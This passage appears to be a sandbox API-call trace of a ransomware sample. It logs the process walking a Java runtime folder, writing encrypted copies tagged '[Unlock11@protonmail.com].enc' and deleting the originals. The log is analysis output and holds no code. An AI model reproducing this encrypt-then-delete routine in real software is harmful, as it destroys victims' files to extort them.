Flags=0x0, Size=0x10015) returned 0x36f8548 [0130.256] CloseHandle (hObject=0x3ac) returned 1 [0130.257] CloseHandle (hObject=0x39c) returned 1 [0130.257] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar")) returned 1 [0130.262] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties", lpFilePart=0x9bada4*="sound.properties") returned 0x37 [0130.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0130.262] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat", lpFilePart=0x9bada4*="tzdb.dat") returned 0x2f [0130.262] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x19c1c)) returned 1 [0130.262] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b854 | out: pbBuffer=0x366b854) returned 1 [0130.263] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0130.263] GetFileType (hFile=0x39c) returned 0x1 [0130.263] GetFileType (hFile=0x39c) returned 0x1 [0130.263] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.263] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.263] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.264] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.264] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.264] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.264] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.264] GetLastError () returned 0x0 [0130.264] GetCurrentThreadId () returned 0x9b0 [0130.264] GetLastError () returned 0x0 [0130.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0130.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0130.264] GetLastError () returned 0x0 [0130.264] GetLastError () returned 0x0 [0130.264] GetLastError () returned 0x0 [0130.265] GetLastError () returned 0x0 [0130.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0130.265] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265338 [0130.265] GetLastError () returned 0x0 [0130.265] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0130.265] GetFileType (hFile=0x3ac) returned 0x1 [0130.266] GetLastError () returned 0x0 [0130.266] GetCurrentThreadId () returned 0x9b0 [0130.266] GetLastError () returned 0x0 [0130.266] GetFileType (hFile=0x3ac) returned 0x1 [0130.266] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.266] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.266] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.266] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.266] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.266] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.266] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.266] GetLastError () returned 0x0 [0130.266] GetCurrentThreadId () returned 0x9b0 [0130.267] GetLastError () returned 0x0 [0130.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265338 | out: hHeap=0x2ad0000) returned 1 [0130.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1e88 | out: hHeap=0x2ad0000) returned 1 [0130.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0130.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0130.267] GetLastError () returned 0x0 [0130.267] GetLastError () returned 0x0 [0130.267] GetCurrentThreadId () returned 0x9b0 [0130.267] GetLastError () returned 0x0 [0130.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0130.267] GetLastError () returned 0x0 [0130.268] GetLastError () returned 0x0 [0130.268] GetCurrentThreadId () returned 0x9b0 [0130.268] GetLastError () returned 0x0 [0130.268] GetLastError () returned 0x0 [0130.280] GetLastError () returned 0x0 [0130.280] GetCurrentThreadId () returned 0x9b0 [0130.281] GetLastError () returned 0x0 [0130.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265428 | out: hHeap=0x2ad0000) returned 1 [0130.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0130.281] GetCurrentThreadId () returned 0x9b0 [0130.281] GetLastError () returned 0x0 [0130.281] GetLastError () returned 0x0 [0130.281] GetLastError () returned 0x0 [0130.282] GetLastError () returned 0x0 [0130.282] GetCurrentThreadId () returned 0x9b0 [0130.282] GetLastError () returned 0x0 [0130.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0130.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0130.282] GetLastError () returned 0x0 [0130.284] GetLastError () returned 0x0 [0130.284] GetCurrentThreadId () returned 0x9b0 [0130.284] GetLastError () returned 0x0 [0130.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0130.284] GetLastError () returned 0x0 [0130.284] GetLastError () returned 0x0 [0130.285] GetCurrentThreadId () returned 0x9b0 [0130.285] GetLastError () returned 0x0 [0130.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.285] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37bf790, Size=0x9c35) returned 0x37bf790 [0130.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265348 [0130.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265338 | out: hHeap=0x2ad0000) returned 1 [0130.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x9c38) returned 0x37c93d0 [0130.285] GetCurrentThreadId () returned 0x9b0 [0130.285] GetLastError () returned 0x0 [0130.286] GetLastError () returned 0x0 [0130.286] GetLastError () returned 0x0 [0130.286] GetLastError () returned 0x0 [0130.286] GetCurrentThreadId () returned 0x9b0 [0130.286] GetLastError () returned 0x0 [0130.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37c93d0 | out: hHeap=0x2ad0000) returned 1 [0130.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0130.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0130.286] GetLastError () returned 0x0 [0130.287] GetLastError () returned 0x0 [0130.287] GetCurrentThreadId () returned 0x9b0 [0130.287] GetLastError () returned 0x0 [0130.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37c93d0 [0130.287] GetLastError () returned 0x0 [0130.288] GetLastError () returned 0x0 [0130.288] GetCurrentThreadId () returned 0x9b0 [0130.288] GetLastError () returned 0x0 [0130.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37c93d0 | out: hHeap=0x2ad0000) returned 1 [0130.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.288] GetLastError () returned 0x0 [0130.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0130.288] CloseHandle (hObject=0x3ac) returned 1 [0130.289] GetLastError () returned 0x0 [0130.289] GetCurrentThreadId () returned 0x9b0 [0130.289] GetLastError () returned 0x0 [0130.289] GetLastError () returned 0x0 [0130.289] CloseHandle (hObject=0x39c) returned 1 [0130.289] GetLastError () returned 0x0 [0130.289] GetCurrentThreadId () returned 0x9b0 [0130.289] GetLastError () returned 0x0 [0130.289] GetLastError () returned 0x0 [0130.289] GetLastError () returned 0x0 [0130.289] GetLastError () returned 0x0 [0130.290] GetLastError () returned 0x0 [0130.290] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 1 [0130.291] GetLastError () returned 0x0 [0130.291] GetCurrentThreadId () returned 0x9b0 [0130.291] GetLastError () returned 0x0 [0130.291] GetLastError () returned 0x0 [0130.292] GetLastError () returned 0x0 [0130.292] GetLastError () returned 0x0 [0130.292] GetLastError () returned 0x0 [0130.292] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings", lpFilePart=0x9bada4*="tzmappings") returned 0x31 [0130.292] GetCurrentThreadId () returned 0x9b0 [0130.292] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0130.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0130.292] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0130.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0130.293] GetCurrentThreadId () returned 0x9b0 [0130.293] GetLastError () returned 0x0 [0130.293] GetLastError () returned 0x0 [0130.293] GetLastError () returned 0x0 [0130.293] GetLastError () returned 0x0 [0130.293] FindFirstFileA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f79d0 [0130.293] GetLastError () returned 0x0 [0130.293] GetCurrentThreadId () returned 0x9b0 [0130.293] GetLastError () returned 0x0 [0130.293] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0130.294] GetLastError () returned 0x0 [0130.294] GetCurrentThreadId () returned 0x9b0 [0130.294] GetLastError () returned 0x0 [0130.294] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27a, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="jvm.cfg", cAlternateFileName="")) returned 1 [0130.294] GetLastError () returned 0x0 [0130.294] GetCurrentThreadId () returned 0x9b0 [0130.294] GetLastError () returned 0x0 [0130.294] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27a, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="jvm.cfg", cAlternateFileName="")) returned 0 [0130.294] GetLastError () returned 0x12 [0130.294] GetCurrentThreadId () returned 0x9b0 [0130.294] GetLastError () returned 0x12 [0130.294] GetLastError () returned 0x12 [0130.295] FindClose (in: hFindFile=0x10f79d0 | out: hFindFile=0x10f79d0) returned 1 [0130.295] GetCurrentThreadId () returned 0x9b0 [0130.295] GetLastError () returned 0x12 [0130.295] GetLastError () returned 0x12 [0130.295] GetLastError () returned 0x12 [0130.295] GetLastError () returned 0x12 [0130.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0130.295] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 0x20 [0130.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a428 | out: hHeap=0x2ad0000) returned 1 [0130.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0130.296] GetLastError () returned 0x12 [0130.296] GetLastError () returned 0x12 [0130.296] GetLastError () returned 0x12 [0130.296] GetLastError () returned 0x12 [0130.296] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg", lpFilePart=0x9bada4*="jvm.cfg") returned 0x34 [0130.296] GetCurrentThreadId () returned 0x9b0 [0130.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0130.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0130.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0130.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0130.297] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0130.297] GetLastError () returned 0x0 [0130.297] GetLastError () returned 0x0 [0130.297] GetLastError () returned 0x0 [0130.297] GetLastError () returned 0x0 [0130.297] GetCurrentThreadId () returned 0x9b0 [0130.297] GetLastError () returned 0x0 [0130.297] GetCurrentThreadId () returned 0x9b0 [0130.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0130.297] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0130.298] GetLastError () returned 0x0 [0130.298] GetLastError () returned 0x0 [0130.298] GetLastError () returned 0x0 [0130.298] GetLastError () returned 0x0 [0130.298] GetCurrentThreadId () returned 0x9b0 [0130.298] GetLastError () returned 0x0 [0130.298] GetLastError () returned 0x0 [0130.298] GetLastError () returned 0x0 [0130.298] GetLastError () returned 0x0 [0130.298] GetLastError () returned 0x0 [0130.298] GetCurrentThreadId () returned 0x9b0 [0130.298] GetLastError () returned 0x0 [0130.299] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0130.299] GetCurrentThreadId () returned 0x9b0 [0130.299] GetLastError () returned 0x0 [0130.299] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0130.299] GetLastError () returned 0x0 [0130.299] GetLastError () returned 0x0 [0130.299] GetLastError () returned 0x0 [0130.299] GetCurrentThreadId () returned 0x9b0 [0130.299] GetLastError () returned 0x0 [0130.299] GetLastError () returned 0x0 [0130.300] GetLastError () returned 0x0 [0130.300] GetLastError () returned 0x0 [0130.300] GetLastError () returned 0x0 [0130.300] GetCurrentThreadId () returned 0x9b0 [0130.300] GetLastError () returned 0x0 [0130.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0130.300] GetLastError () returned 0x0 [0130.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0130.300] GetLastError () returned 0x0 [0130.300] GetLastError () returned 0x0 [0130.301] GetLastError () returned 0x0 [0130.301] GetCurrentThreadId () returned 0x9b0 [0130.301] GetLastError () returned 0x0 [0130.301] GetLastError () returned 0x0 [0130.301] GetLastError () returned 0x0 [0130.301] GetLastError () returned 0x0 [0130.301] GetLastError () returned 0x0 [0130.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0130.301] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27a)) returned 1 [0130.302] GetLastError () returned 0x0 [0130.302] GetCurrentThreadId () returned 0x9b0 [0130.302] GetLastError () returned 0x0 [0130.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0130.302] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ba34 | out: pbBuffer=0x366ba34) returned 1 [0130.302] GetCurrentThreadId () returned 0x9b0 [0130.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0130.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0130.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0130.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0130.302] GetLastError () returned 0x0 [0130.303] GetLastError () returned 0x0 [0130.303] GetLastError () returned 0x0 [0130.303] GetLastError () returned 0x0 [0130.303] GetCurrentThreadId () returned 0x9b0 [0130.303] GetLastError () returned 0x0 [0130.303] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0130.303] GetCurrentThreadId () returned 0x9b0 [0130.303] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0130.303] GetLastError () returned 0x0 [0130.303] GetLastError () returned 0x0 [0130.304] GetLastError () returned 0x0 [0130.304] GetLastError () returned 0x0 [0130.304] GetCurrentThreadId () returned 0x9b0 [0130.304] GetLastError () returned 0x0 [0130.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0130.304] GetCurrentThreadId () returned 0x9b0 [0130.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265338 [0130.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2ea0 | out: hHeap=0x2ad0000) returned 1 [0130.304] GetLastError () returned 0x0 [0130.304] GetLastError () returned 0x0 [0130.304] GetLastError () returned 0x0 [0130.305] GetLastError () returned 0x0 [0130.305] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0130.305] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265438 [0130.305] GetLastError () returned 0x0 [0130.305] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0130.305] GetFileType (hFile=0x39c) returned 0x1 [0130.305] GetLastError () returned 0x0 [0130.305] GetCurrentThreadId () returned 0x9b0 [0130.305] GetLastError () returned 0x0 [0130.306] GetFileType (hFile=0x39c) returned 0x1 [0130.306] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.306] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.306] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.306] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.306] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.306] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.306] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.306] GetLastError () returned 0x0 [0130.306] GetCurrentThreadId () returned 0x9b0 [0130.306] GetLastError () returned 0x0 [0130.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265438 | out: hHeap=0x2ad0000) returned 1 [0130.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0130.307] GetLastError () returned 0x0 [0130.307] GetLastError () returned 0x0 [0130.307] GetLastError () returned 0x0 [0130.307] GetLastError () returned 0x0 [0130.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0130.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265358 [0130.307] GetLastError () returned 0x0 [0130.307] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0130.308] GetFileType (hFile=0x3ac) returned 0x1 [0130.308] GetLastError () returned 0x0 [0130.308] GetCurrentThreadId () returned 0x9b0 [0130.308] GetLastError () returned 0x0 [0130.308] GetFileType (hFile=0x3ac) returned 0x1 [0130.308] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.308] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.308] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.308] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.308] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.309] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.309] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.309] GetLastError () returned 0x0 [0130.309] GetCurrentThreadId () returned 0x9b0 [0130.309] GetLastError () returned 0x0 [0130.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265358 | out: hHeap=0x2ad0000) returned 1 [0130.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2738 | out: hHeap=0x2ad0000) returned 1 [0130.309] RtlAllocateHeap 